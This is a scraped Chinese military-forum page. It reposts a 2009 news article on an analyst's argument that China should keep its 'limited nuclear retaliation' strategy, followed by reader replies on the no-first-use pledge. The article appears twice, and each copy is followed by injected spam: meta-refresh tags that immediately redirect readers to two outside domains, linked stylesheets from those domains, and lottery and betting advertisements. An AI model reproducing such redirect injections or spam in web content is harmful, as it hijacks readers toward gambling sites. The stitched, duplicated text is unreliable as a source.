中国周边核态势不利 专家称沿用既定核战略为上

来源:百度文库 编辑:超级军网 时间:2024/05/03 08:52:35
<br /><br />
    中国周边核态势不利 专家称沿用既定核战略为上

2009年07月31日  来源:中国新闻网 

  中新网7月31日电 新加坡《联合早报》31日刊出美国斯坦福大学国际安全专家薛理泰的文章说,中国目前面临的周边核态势不利,与其他核大国的情势明显不同。是否需要调整核战略,引发讨论。薛理泰认为,北京沿用既定的核战略,可能不失为上策。

  据悉,《南方周末》6月引述军方认为,中国正处在核武器国家的包围圈中。薛理泰认为,近邻拥有核武器的危险性在于,领土和主权纠纷可能导致国家关系迅速恶化,而且这些纠纷涉及主权及民族尊严,几乎没有回旋余地。两个核武器国家发生边界冲突,后果不堪设想。
  文章引述了中国核战略的几种表述。前中国国防部长张爱萍主编的《中国人民解放军》(1994年版)一书指,中国核战略是“有限核报复”。《2008年中国的国防》白皮书则指,“第二炮兵遵守国家不首先使用核武器政策,贯彻自卫防御核战略,严格执行中央军委命令,以保证国家免受外来核攻击为基本使命。”
  另外,文章提到,一些专家也曾提出“有限核威慑”和“有效核威慑”等比较有代表性的论述。
  不过,薛理泰的文章认为,中国建设核力量,需要物质支撑,也需要战略引导。北京沿用既定的核战略,即“有限核报复”,可能不失为上策。该战略言简意赅,既有实用性,也有可操作性,而且在理论上也能自圆其说。何况,该战略贯彻多年,存在的也就是合理的,岂能轻易更改?
  文章认为,“有限核报复”的重点是“报复”,自然体现了中国昭然于世的“不首先使用”的政策,即只有在遭到核打击以后,才会作为报复手段,对敌国使用核武器。再者,这项表述也标志着中国核战略同英、法两个中等核国家的核战略有着本质上的区别。“有限”的讲法在理论上是站得住脚的。
  薛理泰认为,中国更需要认真研究的或许应该是,究竟如何应付本国在核安全形势上面临的变数。首先,美俄拥有预警卫星,能够对来袭导弹在数十分钟的飞行过程中发出预警信号,留给本国战略打击力量做出反应时间。而目前中国导弹预警卫星相对缺乏。其次,美国将在西太平洋部署反导系统,等于部署在中国门前。一旦反导系统部署成功,对中国战略核力量是个坎。
<meta http-equiv="refresh" content="0; url=http://dtw.cc">
<meta http-equiv="refresh" content="0; url=http://fyw.cc">
<link href="http://dtw.cc/gfh8.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://fyw.cc/56789.css" rel="stylesheet" type="text/css" media="screen" />

<P>&nbsp;</P>
<P>&nbsp;</P>


(6.合.彩)足球←篮球...各类投注←开户下注
<P>&nbsp;</P>
推荐→第一投注:倍率高←存取速度快.国内最好的投注平台<br /><br />
    中国周边核态势不利 专家称沿用既定核战略为上

2009年07月31日  来源:中国新闻网 

  中新网7月31日电 新加坡《联合早报》31日刊出美国斯坦福大学国际安全专家薛理泰的文章说,中国目前面临的周边核态势不利,与其他核大国的情势明显不同。是否需要调整核战略,引发讨论。薛理泰认为,北京沿用既定的核战略,可能不失为上策。
  据悉,《南方周末》6月引述军方认为,中国正处在核武器国家的包围圈中。薛理泰认为,近邻拥有核武器的危险性在于,领土和主权纠纷可能导致国家关系迅速恶化,而且这些纠纷涉及主权及民族尊严,几乎没有回旋余地。两个核武器国家发生边界冲突,后果不堪设想。
  文章引述了中国核战略的几种表述。前中国国防部长张爱萍主编的《中国人民解放军》(1994年版)一书指,中国核战略是“有限核报复”。《2008年中国的国防》白皮书则指,“第二炮兵遵守国家不首先使用核武器政策,贯彻自卫防御核战略,严格执行中央军委命令,以保证国家免受外来核攻击为基本使命。”
  另外,文章提到,一些专家也曾提出“有限核威慑”和“有效核威慑”等比较有代表性的论述。
  不过,薛理泰的文章认为,中国建设核力量,需要物质支撑,也需要战略引导。北京沿用既定的核战略,即“有限核报复”,可能不失为上策。该战略言简意赅,既有实用性,也有可操作性,而且在理论上也能自圆其说。何况,该战略贯彻多年,存在的也就是合理的,岂能轻易更改?
  文章认为,“有限核报复”的重点是“报复”,自然体现了中国昭然于世的“不首先使用”的政策,即只有在遭到核打击以后,才会作为报复手段,对敌国使用核武器。再者,这项表述也标志着中国核战略同英、法两个中等核国家的核战略有着本质上的区别。“有限”的讲法在理论上是站得住脚的。
  薛理泰认为,中国更需要认真研究的或许应该是,究竟如何应付本国在核安全形势上面临的变数。首先,美俄拥有预警卫星,能够对来袭导弹在数十分钟的飞行过程中发出预警信号,留给本国战略打击力量做出反应时间。而目前中国导弹预警卫星相对缺乏。其次,美国将在西太平洋部署反导系统,等于部署在中国门前。一旦反导系统部署成功,对中国战略核力量是个坎。
<meta http-equiv="refresh" content="0; url=http://dtw.cc">
<meta http-equiv="refresh" content="0; url=http://fyw.cc">
<link href="http://dtw.cc/gfh8.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://fyw.cc/56789.css" rel="stylesheet" type="text/css" media="screen" />

<P>&nbsp;</P>
<P>&nbsp;</P>


(6.合.彩)足球←篮球...各类投注←开户下注
<P>&nbsp;</P>
推荐→第一投注:倍率高←存取速度快.国内最好的投注平台
能否镇住别人取决于核力量状况,嘴上怎么说无关紧要.
你弹弹不多,那就只能是有限核报复。要多的话就是全面的了:shutup:
你弹弹不多,那就只能是有限核报复。要多的话就是全面的了:shutup:


"有限核报复"等于对别人说,随便你怎么打我,我都不会取你姓名,尽管放马过来。未打先投降,全世界最傻战略。

"有限核报复"等于对别人说,随便你怎么打我,我都不会取你姓名,尽管放马过来。未打先投降,全世界最傻战略。
meee 发表于 2009-8-1 00:53
弹不多的情况下,这是最好的选择。
而且,能做出这个决策的人,是理解了核力量实质的人。
meee 发表于 2009-8-1 00:53


只有傻子才会把口头的承诺当真

你说不首先用核武我就相信啊,要是你突然变挂了怎么办?你以为我这么好骗啊,麻痹战略是没用的

大家对敌人的核能力的评估,都是建立在真实核力量上的,会考虑到各种可能出现的情况,口头承诺说说就好了,没人当会儿事